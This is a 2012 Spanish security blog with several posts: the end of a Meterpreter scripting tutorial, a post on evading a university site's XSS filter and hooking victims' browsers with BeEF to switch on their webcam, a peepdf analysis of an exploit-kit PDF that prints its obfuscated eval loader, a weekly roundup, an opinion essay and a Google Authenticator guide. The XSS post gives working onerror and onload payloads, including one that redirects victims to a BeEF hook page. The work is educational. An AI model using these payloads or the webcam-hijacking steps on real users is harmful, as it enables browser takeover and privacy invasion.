Como se puede observar la ejecución en una sesión de Meterpreter de nuestro script con el parámetro -h nos muestra el menú que hemos diseñado. Se ha puesto a modo de debugger unas impresiones por pantalla de las variables val, idx y opt. Vemos que las opciones -s y -h difieren en el campo <opt>, que significa que el parámetro -s debe llevar asociado un texto con el que se llevará a cabo una acción.

En el caso de -s, en el case se indica que el valor asociado a esa opción queda recogido en la variable val, por lo que se puede utilizar directamente. Idx en este caso pasará a valer 2 al salir de dicha iteración, quedará reflejado como , ya que el 0 es para opt, y el 1 para val.

if client.platform !~ /win32|win64/print_line "No compatible"raise Rex::Script::Completedend

Por último comentar que este fragmento solo se utiliza por seguridad contra el usuario, para que no ejecute código que no es para un sistema concreto. En nuestro caso indicamos que si la sesión de Meterpreter no se está llevando realizando en un sistema de 32 o 64 bits de Windows, el script no se ejecutará.

Como se ha podido observar, este tipo de desarrollos tan especiales llaman mucho la atención porque permiten realizar cosas muy interesantes y personalizar nuestras propias órdenes sobre sistemas vulnerados con Metasploit. ¿Ya pensáis en hacer un arsenal de scripts personalizados con las cosas, pocas porque hay de todo, que echáis de menos en un Meterpreter?

Próximamente, intentaremos ver como realizar alguna acción en la máquina remota, e intentaremos ir publicando scripts cada vez más interesantes y útiles para los auditores. Como última nota decir que una vez implementado el script este puede dejarse en la ruta /pentest/exploits/framework3/scripts/meterpreter o ejecutar en Meterpreter "run <ruta script.rb>", el cual hemos creado.

lunes, 19 de noviembre de 2012

Los peligros de un XSS - Un ejemplo universitario: 2º asalto

Compartir este artículo:

Hace unos meses escribí un post sobre una vulnerabilidad XSS que existía en el sistema de mensajería interna de la universidad en la que "estudio". Para abreviar, no se filtraba el código Javascript que contenían los mensajes con lo que alguien con ganas de hacer daño podía perpetrar peligrosos ataques.

Tiempo después dicha vulnerabilidad fue subsanada haciendo que cuando se encontrasen un par de etiquetas <script></script> éstas fuesen ignoradas evitando así la ejecución del código no deseado. Esto sería muy bonito sino hubiesen mas formas de ejecutar código en Javascript, como pueden ser las funciones asociadas a una etiqueta de imagen de HTML.Veamos un ejemplo para entender mejor esto:El usuario X recibe un mensaje de otro alumno Y, al abrirlo se encuentra esto:

entonces el usuario X se pregunta:

 ¿como es esto posible?¿no se bloqueaba el código en javascript?

Acto seguido el usuario X decide responder al mensaje para observar su contenido:

Al ver el mensaje el usuario queda asombrado ante su contenido:

<img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)">

El código ejecuta la función alert() de javascript mostrando un mensaje por pantalla. Esto es debido al campo onload= que la acompaña. Su funcionalidad es ejecutar la función asociada cuando se cargue la imagen referenciada por el identificador src=.

Este sería un ejemplo de como evitar el filtro anti-XSS que implementa la web. En este caso el filtrado no era muy complejo, pero en muchas otras situaciones los administradores del sitio ya conocen esta "técnica ninja" de evasión y "el ataque" es mas complejo.Cuando la cosa se pone fea es cuando podemos buscar en los conocidos Cheat Sheetcomo es el que publicó mi compañero de aventuras  el señor The X-C3LL:
http://0verl0ad.blogspot.com.es/2009/02/xss-cheatsheet.html

En esta recopilación hay un ejemplo que me ha resultado muy útil en numerosas ocasiones incluida la presente:

<img src=. onerror=alert(/XSSed/)>

Este fragmento permite ejecutar un código javascript cuando se produce un error al cargar la imagen asociada, con lo que al poner el punto se ejecutará siempre.

Respecto al "nuestro ejemplo universitario" vemos que el resultado es igual al caso anterior:

El mensaje:

Si las "técnicas ninja" para evitar los XSS del post de 0verl0ad no os son suficientes, enOWASP existe una recopilación enorme lista para hacer consultar:

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#XSS_Locator

Hasta aquí hemos visto como un atacante puede evitar un filtro anti-XSS y ejecutar unalert mostrando un mensaje por pantalla, un acto muy inocente comparado con lo que se puede llegara hacer. Para comprobar el alcance de este tipo de vulnerabilidades y evitando repetir lo del post predecesor "tontearemos" un poco con BeEF.

Esta aplicación permite "secuestrar" el navegador de los inocentes usuarios que visiten una web preparada para tal propósito siendo agregados a una oscura bootnet.Para probar este framework utilizaremos Backtrack 5 R3 que ya lo trae listo para servir :D.El primer paso es ejecutarlo, para ello vamos al directorio /pentest/web/beef:
cd /pentest/web/beef

Al lanzarlo aparecerá un campo llamado UI URL:, en el aparece una ip que al introducirla en el navegador se cargará la ventana de login de BeEF, (usuario/password: beef/beef) para despues acceder al panel de administración:

La potencia de esta aplicación es enorme y comentar sus múltiples opciones llevaría muchos post desviándonos del cometido del que nos ocupa, así que nos centraremos en un ataque que últimamente asusta mucho a la gente (que los niños y los que tienen un corazón frágil no lean la siguiente frase):

ENCENDER LA WEBCAM DE LA VÍCTIMA

Dicho así parece muy apocalíptico, aunque para conseguirlo es necesaria la interacción de la víctima, lo que conlleva al uso inevitable de ingeniería social. Puesto que esto es un ejemplo teórico y didáctico, se utilizaran las opciones por defecto que trae el framework, pero si se quisiera hacer daño, un atacante con oscuras intenciones no tendría grandes complicaciones para adaptarlo a sus necesidades.

Con BeEF en funcionamiento, utilizaremos la web que ofrecen de prueba para "infectar" a las víctimas, la dirección es algo similar a esto:
IP:3000/demos/basic.html

donde IP es la dirección IP donde se está ejecutando el framework.

Siguiendo con el ejemplo estrella del post (el XSS de los mensajes) para que una inocente víctima visite la web bastaría con un mensaje con el siguiente contenido:
 <img src=. onerror=document.location="IP:3000/demos/basic.html">

Al abrir su correspondencia automáticamente será redireccionada a la siguiente página:

para, acto seguido ser agregada a la bootnet.

Con el inocente cordero en las garras de nuestra oscura red, nos adentramos entre los menús de la aplicación hasta que llegamos a la opción de la webcam:
Browser > Hooked Domain > Webcam
En la parte de la derecha aparecerán numerosas opciones para poder "decorar" el ataque con la finalidad de "seducir" a la víctima, puesto que nosotros sabemos que la víctima aceptará dejamos todo por defecto y pulsamos en Execute con lo que en su navegador será redirigida a una página que le pedirá acceso a la Webcam (para que caiga en esta parte es importante la ingeniería socia y el decorar la página ;) ).
Al pulsar permitir, en nuestro panel administrativo recibiremos la confirmación:
Y se acabó el post :( , una entrada en la que hemos visto como evitar algunos filtros anti-XSS y lo peligrosa que pude ser una herramienta como BeEF. Dicho esto solo queda decir
 CUIDADO!!
y nos leemos en breve ;)

domingo, 18 de noviembre de 2012

Informe Flu – 98

Compartir este artículo:

Comenzamos con el resumen de la semana:

Lunes 12 de NoviembreMartes 13 de NoviembreMiércoles 14 de Noviembre
  • El miércoles Aetsu nos hablaba de Los peligros de un XSS, y nos presentó un ejemplo universitario. Muy interesante
Jueves 15 de Noviembre

Viernes 16 de Noviembre

Sábado 17 de Noviembre

sábado, 17 de noviembre de 2012

Flu a lo jabalí – Brecha de Seguridad, acortando distancias

Compartir este artículo:

Buenas a todos, un sábado más os traemos en Flu Project nuestros artículos preferidos del blog hermanado Seguridad a lo Jabalí. Esta semana hemos seleccionado el artículo "Brecha de Seguridad, acortando distancias", en el que nos habla del Internet Meeting Point que se está celebrando hasta hoy en Oviedo:

Brecha de Seguridad, acortando distancias

Este viernes estaremos debatiendo en el Internet Meeting Point sobre un tema muy interesante, la seguridad en tu empresa ¿Tienes tus datos a salvo?
Un tema muy extenso del que podríamos estar hablando durante días, con muchos matices y en el que influyen demasiados factores, un amplio abanico de escenarios: seguridad web, seguridad interna, políticas de seguridad, riesgos basados en la tecnología y asociados a los usuarios internos, malware, ataques dirigidos, etc.
Todos ellos desde cada una de las perspectivas de protección de la información, confidencialidad, integridad y disponibilidad además de las necesidades de la empresa, el compromiso de la dirección de esta con la seguridad (algo indispensable) y por supuesto el aspecto económico. Pero todo esto lo dejaremos para la mesa redonda del día 16, también podréis verla en streaming.
Hoy quiero hablar de otro problema que en mi opinión influye considerablemente en la seguridad informática, y es el aspecto social, la comunicación entre profesionales y cómo influye esto en la seguridad. 
Seguramente si en tecnología no tienes un perfil técnico “alguna vez” te encontrarías en la situación de que alguien que viene a solucionarte un problema con el equipo te trata “en el mejor de los casos” como si fueras un niño pequeño.
Desde el otro lado de la moneda si eres administrador de sistemas o prestas soporte técnico “alguna vez” el usuario “en el mejor de los casos” ignora ese procedimiento que le indicaste 150 veces o no presta atención a esa forma de solucionarlo que tratas de enseñarle.
Uno de los grandes problemas de seguridad, a mi entender es que esa brecha de comunicación también existe entre los profesionales de la seguridad informática y los responsables de los distintos departamentos de la empresa.
  • La Alta Dirección en un mercado cada vez más competitivo trabaja en un sistema de tiempo-coste-resultado-beneficio, un modelo perfectamente lógico en el que el objetivo de cualquier empresa es ganar dinero. Pero para valorar de forma correcta la seguridad informática la percepción del riesgo debe ser real, y ahí radica el problema.
  • Los Profesionales Informáticos desde mi punto de vista, son uno de los gremios más maltratados laboralmente, los tiempos de entrega de los proyectos de producción en la mayor parte de los casos son ridículos y la medida productividad/sueldo es insultante. Es lógico que con este panorama y las exigencias diarias la preocupación de un programador sea resultado rápido y que funcione. Cualquier sugerencia de comprobación de errores o depuración de código es vista como un retraso en el proyecto. Las empresas tampoco invierten en la formación de seguridad de los desarrolladores profesionales, que saben mucho y tienen años de experiencia pero muchas veces no tienen una percepción adecuada sobre los riesgos de seguridad y formación de como mitigarlos.
  • El Departamento técnico trabaja de forma transparente para el resto de sus compañeros, es decir, si realiza bien su trabajo todo funciona (lo más habitual) y cuando algún servicio de la empresa falla es cuando el administrador está haciendo “mal su trabajo”. Esta pauta demasiado extendida convierte a los departamentos técnicos en profesionales que se preocupan de que el sistema este operativo “a toda costa, a cualquier precio” incluso si hay que apagar los firewall. Además el sistema con el paso del tiempo, y pocos o ningún recurso termina siendo un inmenso conjunto de parches, apaños y tecnologías sin documentar que de “alguna forma misteriosa funcionan”. En muchos casos estos profesionales se toman como algo personal las recomendaciones y nuevas configuraciones propuestas por el equipo de seguridad.
La Solución a todos estos problemas es compleja, y parte de la responsabilidad de esta situación sin duda es de los propios profesionales de seguridad. Lo que a mi entender está claro es que mientras no solucionemos este tipo de comportamientos para trabajar todos como equipo, se crearan brechas de seguridad, protocolos que no se cumplen, procesos que no se hacen y proyectos que no se realizan.
Todos Perdemos el Malware Gana!!
  

viernes, 16 de noviembre de 2012

Análisis de un PDF de un Exploit Kit

Compartir este artículo:

Estaba revisando unas URL’s que al final te hacía una redirección a un Exploit Kit.

Para automatizar la infección y recogida de archivos pasé la URL por Cuckoo :P

Conseguí obtener los binarios, los JS, además del PDF que ha soltado el Exploit Kit. He cogido ese PDF y lo he analizado con PeePDF para ver que tenía.

Actualizamos a la última versión de PeePDF.

root@remnux: python peepdf.py -u[-] Checking if there are new updates…[+] No changes! ;)

Vamos a abrir el PDF con la herramienta:

root@remnux:  # python peepdf.py -i 1.pdfError: parsing indirect object!!

Vaya, parece que nos da error, así que forzaremos la apertura de dicho PDF

root@remnux:  # python peepdf.py -i -f 1.pdfWarning: pylibemu is not installed!!File: 1.pdfMD5: 09bad8811765336b8de7b9b1cc2e956fSHA1: 4d20f7eb4b7c9c883860075e40cd37ee1bd62f3aSize: 14833 bytesVersion: 1.6Binary: TrueLinearized: FalseEncrypted: FalseUpdates: 0Objects: 29Streams: 12Comments: 0Errors: 9Version 0:Catalog: 1Info: NoObjects (29): [1, 2, 3, 6, 8, 13, 14, 15, 16, 18, 19, 20, 21, 22, 27, 28, 29, 30, 31, 32, 41, 42, 43, 44, 45, 46, 48, 49, 52]Streams (12): [52, 13, 18, 19, 32, 41, 42, 43, 44, 45, 46, 48]Encoded (11): [52, 13, 18, 19, 32, 41, 42, 43, 44, 46, 48]Objects with JS code (1): [43]Suspicious elements:/AcroForm: [1]/Names: [1]/EmbeddedFile: [41, 42, 43, 44, 45, 46]

Con la info que nos arroja PeePDF ya nos da datos interesantes como puede ser que contiene un binario, y que ha encontrado elementos de Javascript además de elementos sospechosos. Podemos ver el /AcroForm que ejecutará algo cuando se abra el PDF.

Con PeePDF podemos hacer tree esto mostrará la estructura del PDF en si

PPDF> treedictionary (1)/Metadata (49)Unknown (40)/Pages (2)/Page (8)/Pages (2)stream (32)Unknown (0)stream (13)/Font (27)array (28)/Font (29)dictionary (31)/FontDescriptor (30)Unknown (47)stream (48)array (20)/Annot (15)dictionary (22)dictionary (21)dictionary (22)/Annot (15)/Page (8)dictionary (3)dictionary (6)/Font (14)/Font (16)stream (18)Unknown (17)stream (19)stream (41)stream (42)stream (43)stream (44)stream (45)stream (46)stream (52)dictionary (3)dictionary (1)

Para obtener información sobre el PDF:

PPDF> infoFile: 1.pdfMD5: 09bad8811765336b8de7b9b1cc2e956fSHA1: 4d20f7eb4b7c9c883860075e40cd37ee1bd62f3aSize: 14833 bytesVersion: 1.6Binary: TrueLinearized: FalseEncrypted: FalseUpdates: 0Objects: 29Streams: 12Comments: 0Errors: 9Version 0:Catalog: 1Info: NoObjects (29): [1, 2, 3, 6, 8, 13, 14, 15, 16, 18, 19, 20, 21, 22, 27, 28, 29, 30, 31, 32, 41, 42, 43, 44, 45, 46, 48, 49, 52]Streams (12): [52, 13, 18, 19, 32, 41, 42, 43, 44, 45, 46, 48]Encoded (11): [52, 13, 18, 19, 32, 41, 42, 43, 44, 46, 48]Objects with JS code (1): [43]Suspicious elements:/AcroForm: [1]/Names: [1]/EmbeddedFile: [41, 42, 43, 44, 45, 46] 

Nos ponemos a analizar el código del objeto con código JS:

PPDF> js_beautify object 43<!–< template > –>< template > < subform layout = “tb”locale = “ru_RU”name = “form1″ > < pageSet > < pageArea id = “Page1″name = “Page1″ > < contentArea h = “10.5in”w = “8in”x = “0.25in”y = “0.25in” > < /contentArea><medium long=”11in” short=”8.5in” stock=”letter”></medium > < /pageArea></pageSet > < subform h = “10.5in”w = “8in” > < field h = “98.425mm”name = “ImageField1″w = “28.575mm”x = “95.25mm”y = “19.05mm” > < ui > < imageEdit > < /imageEdit></ui > < caption placement = “bottom”reserve = “5mm” > < font typeface = “Myriad Pro” > < /font><para vAlign=”middle”></para > < value > < text > Image Field < /text></value > < /caption><border xmlns=”http:/ / www.xfa.org / schema / xfa – template / 2.2 / “><edge presence=”hidden “></edge><edge stroke=”dotted “></edge><edge stroke=”dotted “></edge><edge stroke=”dashed “></edge><corner stroke=”dotted “></corner><corner stroke=”dotted “></corner><corner stroke=”dashed “></corner><fill><pattern type=”crossDiagonal “></pattern></fill></border><event xmlns:xfa=”http: //www.xfa.org/schema/xfa-template/2.2/” activity=”initialize”>< xfa: script contentType = ‘application/x-javascript’ > /*sagasgasgasgwith(event){k=target.eval;if((app.addMenuItem+”").indexOf(“Me”+”nu”+”It”+”em”)!=-1){a=target.keywords;}}*/with(event) {k = target.eval;if ((app.addMenuItem + “”).indexOf(“Me” + “nu” + “It” + “em”) != -1) {a = target.keywords;}}s = “”;z = a;for (i = 0; i < a.length; i += 2) {s += String.fromCharCode(parseInt(z[i] + z[i + 1], 28));}k(s); < /xfa:script></event > < /field></subform > < proto > < /proto></subform > <? templateDesigner DefaultLanguage FormCalc ?> <? templateDesigner DefaultRunAt client ?> <? templateDesigner Grid show: 1,snap: 1,units: 0,color: ff8080,origin: (0, 0),interval: (125000, 125000) ?> <? templateDesigner Rulers horizontal: 1,vertical: 1,guidelines: 1,crosshairs: 0 ?> <? templateDesigner Zoom 76 ?> < /template>

Podéis ver por ahí un eval, es decir nada bueno, además de que he marcado en negro que hay código Javascript

En la segunda parte continuamos con el análisis.

jueves, 15 de noviembre de 2012

Un poco más seguros con Google Authenticator

Compartir este artículo:

Una de las cosas que más preocupa (o no) a los usuarios es que le roben el password. Especialmente, si este password da acceso a su blog y este está en un dominio igual o similar a jesusdml.es. Lo que puede hacer el personal con la contraseña y el password de un sitio web, creo que está bastante bien “documentado” por Internet y no precisa de más rollos. Lo que no todo el mundo tiene tan claro es cómo evitar esto.

Ya comentaba en otro post, en qué consistia una autenticación basada en dos factores. Para que no tengais que rebuscar, me voy a marcar un bonito corta y pega de mi mismo:

Login y password en Lion

Lo que sabes: Quizás el método mas básico y utilizado de todos, que se trata en el conocimiento por parte del usuario del sistema de un dato supuestamente personal e intransferible, que habitualmente se traduce en un password o PIN combinado con un nombre de usuario para identificar el origen. Normalmente está presente en el resto de los métodos de identificación y autenticación. 

 Lo que tienes: Asociado a algún elemento físico, puede ser un token del estilo a un reloj/calculadora, una hojita de One Time Password, un serial o identificador en el móvil, una tarjeta de coordenadas, etc. Muchas aplicaciones móviles, asocian el ID del dispositivo con el/los número/s de teléfono evitando que el usuario deba autenticarse.

Lo que eres: Con la llegada de dispositivos biométricos, es posible autenticarse con una parte de nosotros mismos que se supone única. La huella, es el método más tradicional, aunque el iris del ojo, las venas de las manos o incluso el código ADN, pueden y podrán utilizarse como método de identificación y autenticación.

 Bien, como estarás pensando, el uso de contraseñas es el método más barato y que implementar cualquier otro de los dos métodos te puede salir por un ojo de la cara (sobre todo el biométrico, verbigracia a parte). Esto era así hasta que google ofreció de forma gratuita su OTP (One Time Password). Un Sistema OTP, crea un password “de usar y tirar desactivar” en función de una lista, una tarjeta de coordenadas o bien mediante algoritmos basados en tiempo.

¿Como usamos esto para mejorar la seguridad? Pues muy fácil. Además de nuestro password, que puede ser capturable en una red, el atacante y/o vecino cotilla que nos rompe el WiFi, debe tener algo que nosotros tenemos. En el caso que nos ocupa, google ha sacado una aplicación para iphone, android y blackberry (debe quedar alguna por ahí, no?) que actúa como generador de estas contraseñas mostrando la contraseña válida en cada momento.

Como esto último ha sido demasiado espeso, vamos a ver si con el caso práctico podemos verlo más claro. Lo primero que debemos hacer es instalar un plugin para WordPress que habilite la función de autenticación mediante el OTP de Google. En mi caso, estoy usando Google Authenticator.

Para activar este mecanismo de autenticación, debemos ir al apartado de nuestro usuario (cada usuario debe general el suyo. Los administradores solo pueden activar o desactivar su uso) generar una nueva clave secreta.

 

parametros google authenticator

Una ves hecho esto, debemos instalarnos nuestra aplicación en el móvil, en mi caso es la app de iphone, y capturar el QR con nuestro móvil. Si falla, podemos meter la clave secreta a mano. Lo que aparecerá en la siguiente pantalla, es la clave temporal que debemos usar conjuntamente con nuestro password habitual:

 

app google authentication iphoneLa aplicación para iPhone: Interfaz sencillo. Únicamente vemos la clave, la descripción o el usuario y en la esquina superior izquierda un temporizador con la validez de esta clave.

Una vez hecho esto, podemos emplear el uso de nuestras nuevas claves temporales haciendo mucho más seguro el acceso a nuestro blog:

 

login wordpress Google Authenticator

 

En caso de no meter correctamente la contraseña o el código de Google Autentication, el sistema nos dará error:

1._ Cuidado, hay que tener todo instalado antes de salir de nuestro blog y debemos tener un usuario alternativo administrador activado, antes de lanzarnos a hacer pruebas.

2._ Cuidado, hay que tener todo instalado antes de salir de nuestro blog y debemos tener un usuario alternativo administrador activado, antes de lanzarnos a hacer pruebas

Un Saludo,